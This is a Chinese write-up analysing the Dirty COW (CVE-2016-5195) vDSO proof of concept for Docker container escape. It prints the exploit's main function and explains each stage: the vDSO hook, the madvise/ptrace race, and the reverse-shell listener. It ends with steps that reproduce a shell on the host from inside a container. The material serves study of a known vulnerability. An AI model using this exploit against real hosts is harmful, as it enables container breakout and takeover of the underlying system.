脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析

脏牛漏洞-Docker逃逸

以下内容来自「CSDN博主enjoy5512 的文章脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析」以及「 Lyy's Blog的文章--docker用脏牛逃逸到宿主机」,如有侵权,请联系删除!

利用代码原出处

代码原帖

本人GitHub也保留有漏洞利用相关代码 CVE-2016-5195

作者 : 武汉大学Docker安全研究小组

一 . 代码运行流程

Main函数

int main(int argc, char *argv[])
{
    struct prologue *prologue;
    struct mem_arg arg;
    uint16_t port;
    uint32_t ip;
    int s;

    ip = htonl(PAYLOAD_IP);
    port = htons(PAYLOAD_PORT);

    if (argc > 1) {
        if (parse_ip_port(argv[1], &ip, &port) != 0)
            return EXIT_FAILURE;
    }

    fprintf(stderr, "[*] payload target: %s:%d\n",
        inet_ntoa(*(struct in_addr *)&ip), ntohs(port));

    arg.vdso_addr = get_vdso_addr();
    if (arg.vdso_addr == NULL)
        return EXIT_FAILURE;

    prologue = fingerprint_prologue(arg.vdso_addr);
    if (prologue == NULL) {
        fprintf(stderr, "[-] this vDSO version isn't supported\n");
        fprintf(stderr, "    add first entry point instructions to prologues\n");
        return EXIT_FAILURE;
    }

    if (patch_payload(prologue, ip, port) == -1)
        return EXIT_FAILURE;

    if (build_vdso_patch(arg.vdso_addr, prologue) == -1)
        return EXIT_FAILURE;

    s = create_socket(port);
    if (s == -1)
        return EXIT_FAILURE;

    if (exploit(&arg, true) == -1) {
        fprintf(stderr, "exploit failed\n");
        return EXIT_FAILURE;
    }

    yeah(&arg, s);

    return EXIT_SUCCESS;
}

二 . 函数分析

1 . htonl/htons

htonl 传统内存数据存储方式 -> 网络字节存储 4字节

htons 传统内存数据存储方式 -> 网络字节存储 2字节

2 . prase_ip_port

函数原型

函数介绍

如果输入参数有:,则将:前的字符转化为IP,后面的字符转化为端口并赋值给port

使用示例

3 . get_vdso_addr

函数原型

函数介绍 通过getauxval()函数获取vDSO的地址

4 . fingerprint_prologue

函数原型

函数介绍

通过vDSO的首地址,找到clock_gettime()函数的地址,然后对比clock_gettime函数前几个字符和prologue[]数组的每一项,如果存在匹配项,则说明可以Inline Hook,返回匹配的prologue数组项

关键代码

5 . patch_payload

函数原型

函数介绍

将payload中的IP,PORT,prologue项,分别替换成新的IP,PORT(通过参数修改),prologue(通过fingerprint_prologue()匹配得到)

6 . build_vdso_patch

函数原型

函数介绍 填充vdso_patch数组,如果要放置payload的内存地址数据不为0,则提示 failed to find a place for the payload

vdso_patch数组元素介绍

vdso_patch[0]

vdso_patch[1]

patch

payload

buf = “e8 0xxxxx”

copy

保存原内存数据的内存地址

保存clock_gettime前prologue->size字节数据的内存地址

size

payload_len

prologue->size

addr

payload将要被复制到的内存地址

clock_gettime的地址

7 . create_socket

函数原型

函数介绍 设置一个监听socket,等待payload被执行,向这个socket发起连接

8 . exploit

函数原型

函数介绍,通过漏洞,将数据写到指定内存地址 do_patch = true => 将payload写进vDSO,修改clock_gettime前面几个字节为jmp payload do_patch = false => 将vDSO地址中原来的数据还原回去

主要代码

这里开启两个进程,子进程不停检查数据是否成功写入,成功则返回0,否则返回1 主线程开启两个线程, ptrace_thread 向vDSO写 madvise_thread 将vDSO映射空间释放,对ptrace线程造成干扰,从而触发漏洞,写入成功 ptrace循环写

madivise循环释放

9 . yeah

函数原型

函数介绍 等待连接 还原原vDSO空间数据 处理连接后的数据发送与接收

关键代码 循环等待连接,有连接之后就关闭监听

连接成功后,将vDSO还原

绑定输入输出到socket,处理连接数据

容器逃逸漏洞复现

测试环境虚拟机:ubuntu14.04,安装docker

1、安装docker:

具体安装可见官方文档:https://docs.docker.com/install/linux/docker-ce/ubuntu/

2、在docker中pull一个ubuntu:14.04

看看已有容器

3、 接下来我们创建一个守护态的Docker容器,然后使用docker attach命令进入该容器。

4、然后我们使用docker ps查看到该容器CONTAINER ID信息,接下来就使用docker attach进入该容器

5、安装编译软件,下载exp

make完后在目录多出一个0xdeadbeef,执行命令: ./0xdeadbeef docker的IP:端口

等一会然后发现终端没输出了,在里面输入命令会有回显

对比IP地址,上图为宿主,下图为docker容器

6、提权原理可以看 https://bbs.pediy.com/thread-220057.htm https://blog.csdn.net/enjoy5512/article/details/53196047

7、用下面2中方式启动容器依然可以

最后更新于